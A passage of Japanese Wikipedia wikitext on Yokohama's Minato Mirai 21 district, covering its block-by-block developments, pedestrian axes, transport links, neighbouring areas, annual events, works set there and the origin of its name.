name="y-toshiseibi220309"/>、翌6月に結果が公表された<ref name="y-toshiseibi220610"/>)。
<!--{{small|(過去:60街区では[[横浜みなとみらいスポーツパーク]]、61街区では[[マリノスタウン]]が2006年より10年間の暫定施設として運営されていた)}}<br />-->
{{small|(2014年に実施された60・61街区の開発方針に関する民間事業者へのサウンディング調査では、市が提案した「観光・エンターテイメント」を踏まえた街づくりに概ね賛同する意見が得られている<ref>[https://www.city.yokohama.lg.jp/city-info/koho-kocho/press/toshi/2014/20141112-038-20067.html みなとみらい21地区60・61街区の街づくり方針の策定に向けたサウンディング調査の結果概要を公表します]〈[https://web.archive.org/web/20190329222551/https://www.city.yokohama.lg.jp/city-info/koho-kocho/press/toshi/2014/20141112-038-20067.html アーカイブ]〉/{{PDFlink|[https://www.city.yokohama.lg.jp/city-info/koho-kocho/press/toshi/2014/20141112-038-20067.files/0001_20190315.pdf 詳細資料{{small|〈記者発表資料〉}}]〈[https://web.archive.org/web/20190329210421/https://www.city.yokohama.lg.jp/city-info/koho-kocho/press/toshi/2014/20141112-038-20067.files/0001_20190315.pdf アーカイブ]〉}}(横浜市都市整備局みなとみらい21推進課 平成26年 {{small|(2014年)}} 11月12日)</ref>)}}<br />{{small|(60・61街区は、「横浜ドームを実現する会」による[[横浜スタジアム#横浜ドーム構想|ドーム球場構想]]の候補地にもなっている<ref name="nikkei140812">[http://www.nikkei.com/article/DGXLZO75518460R10C14A8L71000/ 横浜ドーム構想が再燃 経済界、具体案を公表](日本経済新聞{{small|〈電子版〉}} 2014年8月12日)</ref><ref name="nikkei140814">[http://www.nikkei.com/article/DGXMZO75368570X00C14A8000000/ 「横浜ドーム」論争、真夏に噴出 地盤沈下に危機感](日本経済新聞{{small|〈電子版〉}}:ニュースプラス 2014年8月14日)</ref><ref>{{PDFlink|[http://www.yokohama-dome.com/pdf/20140712.pdf 横浜ドームを実現する会の提言資料(CGの完成予想図掲載)]〈[https://web.archive.org/web/20190329222753/http://www.yokohama-dome.com/pdf/20140712.pdf アーカイブ]〉}}([http://www.yokohama-dome.com/ 横浜ドームを実現する会] 2014年7月12日)</ref>)}}<br />{{small|(62街区開発条件:運河に面する一部分 (北東側の約1200m{{sup|2}}、護岸沿幅員5m) をプロムナード (プロムナード部分は賃貸契約) として一体整備)}}<br />{{small|(この他、62街区には小型桟橋2基の設置も計画されている)}}
|所有:横浜市
|-
|63,64街区
|colspan="2"|[[高島水際線公園]]{{small|(''たかしますいさいせんこうえん'')}}
* [[東海道本線]][[貨物線|貨物支線]]の[[高島線]]が園内を跨いで通っている。
|2011年5月開園
|-
|65街区
|colspan="2"|[[富士ゼロックスR&Dスクエア|富士フイルムビジネスイノベーション 横浜みなとみらい事業所]](旧:富士ゼロックスR&Dスクエア)<ref name="MM-info92"/><br />(施工:清水建設)<br />(建物の規模:地上20階・地下1階、高さ99.9m)
|2008年3月着工<br />2010年3月竣工<br />(同年4月開業)
|-
|rowspan="2"|66街区
|colspan="2"|[[日産自動車グローバル本社]]([[日産自動車]]の本社ビル)<br />(施工:清水建設)<br />(建物の規模:地上22階・地下2階、高さ99.4m)
* 1階:[[日産ギャラリー|日産グローバル本社ギャラリー]](本社機能と共に東京都[[中央区 (東京都)|中央区]][[銀座]]より移転)
* 2階部分には[[横浜駅]]東口・横浜新都市ビル{{small|(68街区)}}から[[新高島駅]]周辺{{small|(53街区)}}および65街区方面に伸びる[[ペデストリアンデッキ]]が貫通している。
|2007年1月着工<br />2009年4月竣工<br />(同年8月開業)
|-
|colspan="2"|水際線プロムナード<ref name="yokohama-suisaisenp">[https://web.archive.org/web/20131111074612/http://www.city.yokohama.lg.jp/toshi/mm21/inform/hamamirai.html 横浜駅からみなとみらいへ ~新たな玄関口~ 「はまみらいウォーク」・「水際線プロムナード」が開通しました!](横浜市都市整備局 2009年7月23日作成、2010年3月24日更新〈2013年11月11日時点のアーカイブ〉)</ref>
|<!--2008年竣工<br />-->2009年7月供用
|-
|rowspan="2"|67街区
|colspan="2"|[[横浜三井ビルディング]](オフィス・テナント)<br />(事業者:[[三井不動産]]/施工:大成建設)<br />(建物の規模:地上30階・地下2階、高さ152.2m)
* 国連WAFUNIF日本アジア機構
* [[横浜国立大学]]「未来情報通信医療社会基盤センター」サテライトオフィス
* テツモポート(1-2階、商業文化ゾーン)
** [[原鉄道模型博物館]]
|2009年10月着工<br />2012年2月竣工<br />(同年5月開業)
|-
|colspan="2"|水際線プロムナード<ref name="yokohama-suisaisenp"/>
|<!--2008年竣工<br />-->2009年7月供用
|}
{{-}}
==== 横浜駅東口地区(68街区) ====
[[File:SOGO Yokohama 001.JPG|thumb|[[そごう横浜店]]([[横浜新都市ビル]])]]
{|class="wikitable" style="font-size:small"
!style="background-color:#efefef"|街区
!colspan="2" style="background-color:#efefef"|内容
!style="background-color:#efefef"|備考
|-
|rowspan="2"|68街区
|colspan="2"|[[横浜スカイビル]]
(地上30階・地下3階、高さ約132m<ref name="mm-gaiku68">[https://www.city.yokohama.lg.jp/kurashi/machizukuri-kankyo/toshiseibi/mm21/mmkaihatsu/gaiku.html みなとみらい21地区全体図] > [https://www.city.yokohama.lg.jp/kurashi/machizukuri-kankyo/toshiseibi/mm21/mmkaihatsu/index68.html 街区開発状況 横浜駅東口地区(68街区)](都市整備局都心再生部横浜駅・みなとみらい推進課 ''2022年9月30日閲覧'')</ref>)
* [[横浜シティ・エア・ターミナル]] (YCAT)
* [[丸井|マルイシティ]]横浜
|rowspan="2"|
* 地下1階で地下街[[横浜ポルタ]]と接続。
* 新都市ビル2階部分から[[日産自動車]]本社ビル方面へ、ペデストリアンデッキ「[[はまみらいウォーク]]」で接続。
* 68街区と[[みなとみらい大橋]]の接続道路として[[栄本町線#栄本町線支線1号|栄本町線支線1号]]が計画されている。
: また上記の道路に関連して、同街区東側のバス駐車場を含む一帯(出島地区)では再開発も検討されている<ref>[https://www.city.yokohama.lg.jp/kurashi/machizukuri-kankyo/toshiseibi/toshin/excite22/shuhen/project.html 駅周辺施設・整備事業](横浜市都市整備局:[https://www.city.yokohama.lg.jp/kurashi/machizukuri-kankyo/toshiseibi/toshin/excite22/ エキサイトよこはま22公式ページ])</ref>。
|-
|colspan="2"|[[横浜新都市ビル]]
(地上10階・地下3階、高さ約55m<ref name="mm-gaiku68"/>)
* [[そごう横浜店]]
* 新都市ホール
* 「市民フロア」ミーティングルーム
|}
{{-}}
== ペデストリアン軸(歩行者動線) ==
<!--複数ページ(項目)より当節へのリンクあり(節名変更の際は要修正)-->
{{Wikicommons|Category:Pedestrian axes, Minato Mirai 21|みなとみらい地区のペデストリアン軸}}
[[画像:Qeen mall.jpg|thumb|クイーン軸(クイーンモール)<br />(2011年12月)]]
[[画像:Granmole Park -02a (2017).jpg|thumb|グランモール軸(2017年4月)]]
[[画像:Re2-Rinko Park (Shioiri no ike) 2022 - 01b.jpg|thumb|キング軸を海側より撮影<br />(2022年7月)]]
当地区では重要な歩行者ネットワーク(歩行者専用通路)として「'''キング軸'''」、「'''クイーン軸'''」、「'''グランモール軸'''」という三つのペデストリアン軸(英語で [[:wikt:pedestrian|pedestrian]] には「歩行者」という意味がある、軸は都市の根幹を形成する都市軸)を整備する方針となっている<ref name="MM-info85"/>。このうち、クイーン軸とグランモール軸の整備はほぼ完了しているが、キング軸は後述のように現在も未整備箇所が一部残る。
なお、キング軸とクイーン軸の名称は[[横浜三塔]]とされる建物の愛称からきており、残るジャックについては借用期限のある暫定施設として、グランモール軸に商業施設「[[横浜ジャックモール|ジャックモール]]」([[2012年]]9月営業終了)が造られた。
=== クイーン軸 ===
[[桜木町駅]]方面からの[[動線]]。商業の中心である[[横浜ランドマークタワー|ランドマークタワー]]や[[クイーンズスクエア横浜|クイーンズスクエア]]、さらに国際会議場がある[[横浜国際平和会議場]](パシフィコ横浜)といった当地区を象徴する施設が並ぶ。
まず、桜木町駅前からランドマークタワーまで続いている[[動く歩道]]と接続し、ランドマークタワーの2階部分に併設しているショッピングモール「ランドマークプラザ」からクイーンズスクエア内の「クイーンモール」を通り、パシフィコ横浜まで結んでいる。
=== グランモール軸 ===
{{See also|グランモール公園}}
クイーン軸とキング軸を繋ぐ動線で、軸の両端はそれぞれ[[みなとみらい駅]]と[[新高島駅]]の近辺に当たる。
ランドマークタワーとクイーンズスクエアの中間部分にある「ヨーヨー広場」からクイーン軸と交差するように[[MARK IS みなとみらい]]および[[横浜美術館]]前(美術の広場)、[[横浜アイマークプレイス]](旧[[横浜ジャックモール|ジャックモール]])前へと約700mにわたって整備されている「[[グランモール公園]]」<ref>[http://mm-lux.jp/know/future/000001/ 緑と水とアートの広場 グランモール公園を散策する] 〈[https://web.archive.org/web/20121108151342/http://mm-lux.jp/know/future/000001/ アーカイブ]〉(M.M.Luxury)</ref>、さらに新高島駅周辺(旧[[GENTO YOKOHAMA]]周辺)まで結んでいる。この区間は[[横断歩道]]による軸の切れ目も存在する。
なお、新高島駅周辺から先は[[横浜グランゲート]](54街区)と接続する「[[みなとみらい歩道橋]]」、[[日産自動車グローバル本社|日産本社]]2階部分の「[[日産自動車グローバル本社#立地と建物の特徴|NISSANウォーク]]」と続いて「[[はまみらいウォーク]]」で[[帷子川]]を渡り、[[横浜駅]]東口の[[そごう横浜店|そごう]]がある新都市ビルおよび[[横浜スカイビル|スカイビル]]の2階部分へアクセスが可能である。
=== キング軸 ===
横浜駅および新高島駅周辺のビジネスゾーンと海側を結ぶ動線。
軸の西端(58街区・[[横濱ゲートタワー]]付近)では「高島二丁目歩道橋」([[高島 (横浜市)#高島二丁目地区再開発事業|高島二丁目地区]]にアクセスする、[[国道1号]]を渡る[[横断歩道橋|歩道橋]])と接続しており、そこから東方の海側に向けてグランモール軸と交差する新高島駅周辺・横浜グランゲート前(旧GENTO YOKOHAMA周辺)や[[高島中央公園]]、さらには集合住宅地域(Brillia Grandeみなとみらいなどがある50街区)を通り、[[臨港パーク]]の「潮入りの池」まで一直線に結ぶ計画となっている。しかし長年、日産本社前や新高島駅周辺、集合住宅地域と臨港パークの間など未開発街区が多く残されていたため、周囲の開発の進捗に合わせて軸の整備を行う方針としていた。2012年度には臨港パーク内でキング軸の一部となる階段の整備が行われた。また、[[2010年代]]半ば以降には後述の20街区における開発などが決まり、その他の未整備箇所においても軸の整備に向けて動き出している。なお、キング軸が通る新高島駅周辺の52〜54街区(''ビジネスゾーンA'')はランドマークタワーのある25街区(''商業ゾーンA'')と同様に、高さ300mまでの建物が建設可能なエリアとなっている<ref name="mm21-chikukeikaku">[https://www.city.yokohama.lg.jp/kurashi/machizukuri-kankyo/toshiseibi/plan-rule/chikukeikaku/kubetsu/naka/c-010.html みなとみらい21中央地区地区計画]/{{PDF|[https://www.city.yokohama.lg.jp/kurashi/machizukuri-kankyo/toshiseibi/plan-rule/chikukeikaku/kubetsu/naka/c-010.files/0006_20210929.pdf 計画図]}}(横浜市都市整備局)</ref>。
臨港パーク寄りの20街区では稼働率が限界に近づくパシフィコ横浜の機能を拡張するため、新たな[[コンベンション・センター|展示場]]([[MICE]]施設<ref group="注" name="MICE"/>)として「[[横浜みなとみらい国際コンベンションセンター]]」(パシフィコ横浜ノース)<ref name="yokohama-bunkakanko180215"/>が整備され[[2020年]]に開業した。キング軸はこの20街区の中央付近を通るため、同街区周辺を中心としてMICE拠点都市の顔となるべく緑豊かなビジネス交流空間の形成を目指している。さらにキング軸沿いの開発計画では同軸の地区施設面積のうち50%以上の緑化を目指しており、象徴性かつ独創性のある緑化となるようガイドラインによる誘導も行う方針である<ref>{{PDFlink|[https://www.city.yokohama.lg.jp/kurashi/machizukuri-kankyo/ondanka/futurecity/cooperation/mm2050.files/0002_20190313.pdf みなとみらい2050プロジェクト アクションプラン]〈[https://web.archive.org/web/20190329210352/https://www.city.yokohama.lg.jp/kurashi/machizukuri-kankyo/ondanka/futurecity/cooperation/mm2050.files/0002_20190313.pdf アーカイブ]〉}}(横浜市 平成27年 {{small|(2015年)}} 3月/[https://www.city.yokohama.lg.jp/kurashi/machizukuri-kankyo/ondanka/futurecity/cooperation/mm2050.html 横浜市温暖化対策統括本部「みなとみらい2050プロジェクトアクションプラン」])</ref>。なお、当初の計画では軸の中心線に沿って臨港パークの「潮入りの池」まで、“流れる水のネットワーク”(水路)を敷くイメージが描かれていた<ref name="MM-info69"/>が、かつて存在したグランモール軸の水路も既に廃止されており([[グランモール公園#桟橋の広場・眺めの広場|参照]])、現在では水路を設けない計画に変更されている<ref name="MM-info92"/><!--<ref>[http://taccolinmm.livedoor.blog/archives/2283574.html みなとみらい中央地区歩行者ネットワークの見直し](みなとみらい線周辺散歩日記 2018年12月1日/[[ウェイバックマシン|Wayback Machine]]による[https://web.archive.org/web/20190318115647/https://blogs.yahoo.co.jp/taccolin/68937781.html 2019年3月18日時点のアーカイブ])</ref>--><!--<ref>{{Cite web |url=https://www.city.yokohama.lg.jp/business/bunyabetsu/kenchiku/toshikeikaku/tetsuduki/setumei/setumeikai-2019.files/0052_20190320.pdf |format=PDF |title=みなとみらい21中央地区における 歩行者ネットワークに関する 説明会 |publisher=横浜市 |date=2019-03-20 |accessdate=2021-06-25}}</ref>--><ref group="注">臨港パークの「潮入りの池」自体も2020年の改修工事の際に土砂で埋められ、以降は[[潮汐|満潮]]時などを除き池に潮([[海水]])が入らないようになっていたが、2022年には再び改修工事が行われ、この際に池は完全に埋め立てられて[[芝|芝生]]となっている(「[[臨港パーク#潮入りの池]]」も参照)。</ref>。[[2021年]]4月にはキング軸の東端にあたる臨港パークとパシフィコ横浜ノース周辺(20街区)から高島中央公園方面を結ぶキング軸整備の一環として、キングモール橋<!-- {{small|(きょう)}} -->が供用開始された<ref>{{Cite web|和書|url=https://hamakore.yokohama/pacifico-yokohama-north-deck-202004/ |title=パシフィコ横浜ノース周辺の歩行者用通路、キングモール橋が新たに開通 |publisher=はまこれ横浜 |date=2020-03-29 |accessdate=2021-06-25}}</ref>。
== 交通 ==
=== 鉄道 ===
[[画像:Minatomirai Station Platform.jpg|thumb|[[みなとみらい駅]]]]
* [[みなとみらい駅]]
** [[横浜高速鉄道]][[横浜高速鉄道みなとみらい線|みなとみらい線]]
* [[新高島駅]]
** 横浜高速鉄道みなとみらい線
* [[桜木町駅]]
** [[東日本旅客鉄道]](JR東日本)[[根岸線]]
** [[横浜市営地下鉄ブルーライン]]
* [[高島町駅]]
** 横浜市営地下鉄ブルーライン
* [[横浜駅]]
** JR[[東海道本線]]・[[横須賀線]]・[[湘南新宿ライン]]・[[上野東京ライン]]・[[京浜東北線]]・根岸線
** [[京浜急行電鉄|京急]][[京急本線|本線]]
** [[東急電鉄|東急]][[東急東横線|東横線]]
** 横浜高速鉄道みなとみらい線
** [[相模鉄道|相鉄]][[相模鉄道本線|本線]]
** 横浜市営地下鉄ブルーライン
なお、[[明治]]末期の1911年<!--(明治44年)開通)-->から1980年代<!--[[昭和]]60年代--><!--1986年(昭和61年)廃止-->まではこの地区に[[東海道本線]]の貨物支線([[高島線|横浜臨港線]])が存在し、[[横浜港]]に設けられた「[[横浜港駅]]」へは[[東京駅]]から「[[ボート・トレイン]]」と呼ばれる外国航路へ接続する[[臨時列車|臨時旅客列車]]も設定されていた。現在、その廃線跡地が遊歩道の「'''[[汽車道]]'''」として整備されており、この地区の観光名所にもなっている。
=== バス ===
==== 路線バス ====
<!--[[画像:Yokohamacitybus 1-4550 hamarin.jpg|thumb|横浜市営バス]]-->
[[画像:Yokohamacitybus 8-3905 akaikutsu.jpg|thumb|レトロな外観の周遊バス「あかいくつ」]]
[[画像:Yokohama City Bus 9-3514 Bayside Blue Blue Ribbon KX525 Birdview.jpg|thumb|連節バス「ベイサイドブルー」]]
* [[横浜市営バス]]
** 156系統(滝頭〜[[日ノ出町駅]]前〜桜木町駅前〜[[横浜美術館]]〜[[けいゆう病院]]〜[[パシフィコ横浜]])※土休日は桜木町駅〜パシフィコ横浜間は運休
** [[連節バス]]「[[横浜市営バス#ベイサイドブルー|ベイサイドブルー]] (BAYSIDE BLUE)」〈200系統〉(横浜駅→パシフィコ横浜→カップヌードルパーク・[[横浜ハンマーヘッド|ハンマーヘッド]]入口→[[大さん橋]]入口→[[山下公園]]前→[[山下埠頭]]/→[[山下町 (横浜市)|山下町]]→[[横浜中華街|中華街]]入口→[[横浜赤レンガ倉庫|赤レンガ倉庫]]前→パシフィコ横浜→横浜駅改札口前)<ref>市営交通で横浜観光:[https://www.city.yokohama.lg.jp/kotsu/tanoshimou/kanko/baysideblue.html ベイサイドブルー]([[横浜市交通局]])</ref><!--2020年7月運行開始-->
** 観光スポット周遊バス「[[あかいくつ]]」〈271系統〉(桜木町駅前→ハンマーヘッド (新港ふ頭客船ターミナル) →赤レンガ倉庫→中華街→[[港の見える丘公園]]前→大さん橋客船ターミナル→赤レンガ倉庫前→ハンマーヘッド→桜木町駅前:循環)<ref>市営交通で横浜観光:[https://www.city.yokohama.lg.jp/kotsu/tanoshimou/kanko/akaikutsu.html あかいくつ](横浜市交通局)</ref>
** 周遊バス「[[横浜市営バス#ピアライン|ピアライン]]」〈281系統〉(桜木町駅前〜[[横浜市役所]]前〜[[馬車道駅]]前〜[[万国橋]]・[[横浜ワールドポーターズ|ワールドポーターズ]]前〜ハンマーヘッド (新港ふ頭客船ターミナル)〈日中:→大さん橋客船ターミナル→[[日本大通り駅]][[神奈川県庁|県庁]]前→横浜市役所前→桜木町駅〉:循環)<ref>市営交通で横浜観光:[https://www.city.yokohama.lg.jp/kotsu/tanoshimou/kanko/sanrosen.html ぶらり三溪園BUS・ぶらり野毛山動物園BUS・ピアライン](横浜市交通局)</ref>
** 292系統([[浅間町 (横浜市)|浅間町]]車庫前〜[[岡野 (横浜市)|岡野町]]〜[[西前町]]〜[[戸部本町]]〜[[野毛町]]〜桜木町駅前〜横浜美術館〜けいゆう病院〜パシフィコ横浜)
==== リムジンバス ====
* [[京浜急行バス]]
* [[京成バス]]
* [[東京空港交通]]
** 全て[[成田国際空港|成田空港]]行。横浜ロイヤルパークホテル、横浜ベイホテル東急、パシフィコ横浜から発着。
*: なお、かつては当地区隣の[[ポートサイド地区]]に[[横浜シティ・エア・ターミナル|YCAT]]があった(この時も成田空港線のみ)。
==== 水陸両用バス ====
* [[スカイバス東京]]
** [[水陸両用車|水陸両用バス]]「スカイダック横浜」([[日本丸メモリアルパーク]]内の専用[[斜路|スロープ]]より進水)<ref>スカイダックコース:[http://www.skybus.jp/course/?id=1499860040-092824 スカイダック横浜]/[http://www.skybus.jp/course/?id=1499860755-976996 トワイライトクルーズ](SKY BUS TOKYO〈スカイバス東京〉)</ref>
=== 航路 ===
[[画像:The port service Seabus.JPG|thumb|シーバス]]
* [[ポートサービス]]
** シーバス<!--[[水上バス]]-->(横浜駅東口 - [[横浜ハンマーヘッド|ハンマーヘッド]][[横浜ハンマーヘッド#定期航路|新港ふ頭桟橋]] - ピア[[横浜赤レンガ倉庫|赤レンガ]] - [[山下公園]])
*** 2022年2月から2023年春頃まで(予定)、赤レンガ倉庫 - 山下公園間運休。
*** 2022年3月31日までは、みなとみらい21[[ぷかりさん橋|ぷかり桟橋]]を経由していた。
** [[マリーンルージュ]]<!--港内遊覧[[レストラン船]]-->(<!--ぷかり桟橋、-->ピア赤レンガ<!--、山下公園-->発着)
*** 2022年2月から2023年春頃まで(予定)、山下公園発着休止。
* 京浜フェリーポート
** [[水上バス]](ピア[[汽車道#周辺の緑地整備(運河パーク)|運河パーク]] - ピア[[日本丸メモリアルパーク|日本丸]] - ピア[[象の鼻パーク|象の鼻]]〈 - ピア[[大さん橋]]〉)
** 横浜港内<!--遊覧-->クルーズ(ピア象の鼻<!--ピア日本丸、ピア大さん橋-->発着)
=== 索道 ===
* [[YOKOHAMA AIR CABIN|YOKOHAMA AIR CABIN(ヨコハマ・エア・キャビン)]]
** 桜木町駅前と運河パーク([[横浜ワールドポーターズ]]前)を[[索道|ロープウェイ]]で接続、[[よこはまコスモワールド]]を運営する[[泉陽興業]]により2021年4月営業開始<ref name="kanaloco190213"/><ref name="hamarepo190215"/><ref name="kanaloco191126"/><ref name="tokyo-np191127"/><ref name="city-yokohama210113"/>。
== 周辺の地区 ==
<!--周辺の代表的な地区・町などを記載-->
* [[横浜駅]]周辺 - 駅の東口エリアと、[[はまみらいウォーク]]で接続。
* [[高島 (横浜市)#高島二丁目地区再開発事業|高島二丁目地区]] - [[国道1号]]を渡る高島二丁目歩道橋で接続。
* [[桜木町 (横浜市)|桜木町]]
* [[野毛町|野毛]]<!--(関外に当たる)-->
* [[関内]]
** [[北仲通地区]] - 中央地区とは[[北仲橋]]、新港地区とは[[万国橋]]により接続。
** [[大さん橋]]([[海岸通 (横浜市)|海岸通]])
** [[山下公園]]([[山下町 (横浜市)|山下町]])
** [[馬車道 (横浜市)|馬車道]]
** [[横浜中華街]]
* [[伊勢佐木町]]<!--(関外に当たる)-->
* [[元町 (横浜市)|元町]]<!--(関外に当たる)-->
* [[山下埠頭]] - 今後の再開発が計画されており、当地区とも新たな交通で結ばれる予定である。
* [[ポートサイド地区|ヨコハマポートサイド地区]] - [[みなとみらい大橋]]により接続。
* [[横浜市中央卸売市場本場]] - 横浜市の[[中央卸売市場]]。[[臨港幹線道路|みなとみらい橋]]により接続。
* [[コットンハーバー地区]] - [[山内埠頭]]の再開発地区([[東神奈川]][[ウォーターフロント|臨海部]]周辺地区の一部)。中央卸売市場本場と[[臨港幹線道路|コットン大橋]]で接続。
== 主なイベント ==
毎年あるいは数年おきに開催される主なイベントを以下に記す。<!--全てを網羅しない-->
* 3月 - よこはまシティウォーク
* 3月 - [[横浜マラソン]](2015年より開催)
* 4月 - ヨコハマ[[大道芸]] in みなとみらい21<ref>[http://daidogei.jp/ ヨコハマ大道芸 公式サイト]</ref>
* 5月 - ジャパン・ヒストリックカー・ツアー
* 6月上旬 - [[横浜開港祭]]([[花火]]あり)
* 7月 - 横浜スパークリングトワイライト<ref>[https://yokohama-sparkling.com/ 横浜スパークリングトワイライト 公式サイト]</ref>(7月頃<!--初期は8月や9月と開催時期が変動、2014年より毎年7月開催-->に2日間開催、2010年に「横浜港花火ショー」として開催<ref name="hamakei100615">[https://www.hamakei.com/headline/5178/ 国際花火大会が市民参加型「横浜港花火ショー」に-7月18日初開催](ヨコハマ経済新聞 2010年6月15日)</ref>、本格的な「横浜スパークリングトワイライト」として2012年より連年開催〈2020年〜2022年は[[コロナ禍]]により中止〉、花火あり)
* 8月
** みなとみらいスマートフェスティバル<ref name="mmsf">[http://www.mmsf.jp/ みなとみらいスマートフェスティバル(MMSF) 公式サイト]</ref>(8月<!--〜9月-->頃に1日だけ開催〈初年の2018年は9月に開催、2020年と2021年はコロナ禍により中止<!--イベントとしてまだ始まったばかりであり、2023年以降も連年開催するか不明-->〉、花火あり、[[神奈川新聞]]社をはじめ地元企業等による)
** みなとみらい大盆踊り
* 9月〜11月 - [[横浜トリエンナーレ]](3年に1度開催)
* 10月 - [[横浜ジャズプロムナード|横濱JAZZプロムナード]]
* 11月中旬〜2月中旬 - ヨコハマミライト<!--<ref>[https://ymm21-illumination.jp/ ヨコハマミライト 公式サイト]</ref>-->(横浜駅東口からみなとみらい地区まで全長約1.5kmに及ぶ[[イルミネーション]]、2018年より開催)
* 12月 - TOWERS Milight 〜みなとみらい21 オフィス全館ライトアップ〜<!--みなとみらいクリスマスファンタジー-->(主に24日夜、参加オフィスビル群が全館点灯し、街全体を彩る)
; [[年越し]]イベント
:観覧車「コスモクロック21」による[[カウントダウン]]、年を越した直後には[[船]]の[[汽笛]]、花火などがある。
; かつて存在したイベント
* 2月 - [[横浜国際女子駅伝]](2009年まで開催)
* 5月〜6月頃 - 横浜国際マリンエンターテイメントショー(2006年〜2010年まで開催<!--最終年は7月開催<ref name="hamakei100615"/>、震災のあった2011年はイベントの主旨を大きく変え「横浜大線香花火大会」を11月に開催-->)
* 6月 - [[フランス映画祭横浜]](2005年まで開催、6月の「横浜フランス月間」の一環)
* 7月 - 横浜国際花火大会(山下公園地区、2008年まで開催)
*:(※2010年以降は花火の規模を縮小して「横浜スパークリングトワイライト」として開催<ref name="hamakei100615"/>)
* 8月
** [[神奈川新聞花火大会]](臨港パーク地区、2016年開催をもって休止)
**: (※2018年9月には神奈川新聞社が実行委員の代表を務めるイベント「みなとみらいスマートフェスティバル2018」(花火あり)開催、さらに同イベントは翌年8月にも引き続き開催しており、実質上記花火大会の代替イベントとなっている)<ref name="mmsf"/><!--恒例イベントとなった場合は上記「主なイベント」にも記載-->
** [[ピカチュウ]]大量発生チュウ!(2014年〜2019年まで開催)
* 秋季 - [[スマートイルミネーション横浜]]<ref>[http://www.smart-illumination.jp/ スマートイルミネーション横浜(SMART ILLUMINATION) 公式サイト]</ref>(2011年〜2019年まで開催<ref>[https://www.city.yokohama.lg.jp/kanko-bunka/bunka/sozotoshi/sozotoshi/smart.html スマートイルミネーション横浜](横浜市文化観光局)</ref>、10月〜11月頃の数日間)
* 11月 - [[横浜国際女子マラソン]](2014年まで開催)
== みなとみらいが舞台になった作品 ==
;映画
* [[あぶない刑事]]シリーズ
** 『[[あぶない刑事リターンズ]]』 - ヨコハマインターコンチネンタルホテルのロビーおよび周辺で撮影。
** 『[[あぶない刑事フォーエヴァー|あぶない刑事フォーエバーTHE MOVIE]]』 - ぷかりさん橋の[[ぷかりさん橋|ピア21]]周辺で撮影。
** 『[[まだまだあぶない刑事]]』 - カフェのシーンで登場。
** 『[[さらば あぶない刑事]]』 - ヨコハマインターコンチネンタルホテルが登場。
* [[ゴジラ]]シリーズ
** 『[[ゴジラvsモスラ]]』や『[[ゴジラ・モスラ・キングギドラ 大怪獣総攻撃]]』の最終決戦の地として使われている。
* [[プリキュアシリーズ]]
** 『[[映画 プリキュアオールスターズDX みんなともだちっ☆奇跡の全員大集合!]]』 - 同作の主な舞台。
** 『[[映画 プリキュアオールスターズNewStage みらいのともだち]]』 - 上記と同じく同作の主な舞台で、同作の主人公である坂上あゆみ(キュアエコー)が住む町でもある。
** 『[[映画 HUGっと!プリキュア♡ふたりはプリキュア オールスターズメモリーズ]]』 - 冒頭の戦闘シーンなどで作品舞台の一部に使われている。
* 『[[名探偵コナン 探偵たちの鎮魂歌]]』 - 映画中の舞台やエンディングの実写で登場。同シリーズでは他にも『[[名探偵コナン 天国へのカウントダウン]]』などでエンディングの実写に登場している。
* 『[[大決戦!超ウルトラ8兄弟]]』 - ほぼすべての撮影が横浜市内で行われた。
* 『[[犯人に告ぐ]]』 - 冒頭に大晦日カウントダウンの場面が登場する。
* 『[[踊る大捜査線 THE MOVIE]]』 - クイーンズスクエア横浜で撮影。
* 『[[ウルトラマントリガー NEW GENERATION TIGA#映画|ウルトラマントリガー エピソードZ]]』 - [[ウルトラQの登場怪獣#地底怪獣 パゴス|パゴス]]が出現した。
;テレビドラマ
* 『[[あぶない刑事]]』([[日本テレビ放送網|日本テレビ]]系列) - 横浜みなとみらい地区が完成される以前の[[高島駅 (神奈川県)|高島ヤード]](操車場)・[[東横浜駅]](貨物駅)・[[高島埠頭]]が登場。また、日本テレビ開局45周年記念作品の『あぶない刑事フォーエバーTVスペシャル'98』では、横浜みなとみらい地区として登場した。
* 『[[喰いタン (テレビドラマ)|喰いタン]]』・『[[喰いタン (テレビドラマ)|喰いタン2]]』(日本テレビ系列)
* 『[[蘇える金狼#テレビドラマ|蘇える金狼]]』(日本テレビ系列) - インターコンチネンタルホテル等を背景に、最終話で朝倉哲也と茂義賀津夫が対峙する。
* 『[[たったひとつの恋]]』(日本テレビ系列)
* 『[[RESCUE〜特別高度救助隊]]』([[TBSテレビ|TBS]]系列)
* 『[[海猿]]』([[フジテレビジョン|フジテレビ]]系列)
* 『[[救命病棟24時]]』第4シリーズ(フジテレビ系列)
* 『[[逃げるは恥だが役に立つ]]』(TBS系列) - 津崎の勤務するIT企業「3Iシステムソリューション」および土屋の勤務する化粧品会社「ゴダールジャパン」(いずれも[[みなとみらいグランドセントラルタワー]])、その他のシーンにて登場。
* 『[[レンタルの恋]]』(TBS系列)
* 『[[ウルトラマントリガー]]』(テレビ東京系列) - 最終話で邪神メガロゾーア(第二形態)が出現してトリガーと戦った。
;小説
* 『みなとみらいで捕まえて—ヨコハマ名探偵物語』([[鯨統一郎]] 著)
* 『横浜みなと未来殺人事件—タロット日美子シリーズ』([[斎藤栄]] 著)
* 『逆風の街—横浜みなとみらい署暴力犯係』([[今野敏]] 著)
== 街の名称について ==
「みなとみらい21」という名称は、「みなと横浜」をイメージしつつ、「[[未来]]への発展を目指す[[21世紀]]の横浜にふさわしい」名称として、[[1981年]]、一般公募された約2300点のなかから選出された。他の候補には、「アクアコスモ」「コスモポート」「[[赤い靴]]シティ」「シーサイドタウン」「シーガルタウン」「ベイシティ」等があった<ref name="hamarepo141213-mm">[http://hamarepo.com/story.php?page_no=0&story_id=3612 公募で決まったという「みなとみらい21」の名付け親は誰?](はまれぽ.com 2014年12月13日)</ref><ref name="yokohama-himitsu160509">[http://blog.goo.ne.jp/jpgr2025/e/0c3b10105d40ff19f1dcf9253d3495be 「みなとみらい21」は「赤い靴シティ」になっていたかもしれない。](横浜の秘密 2016年5月9日)</ref>。
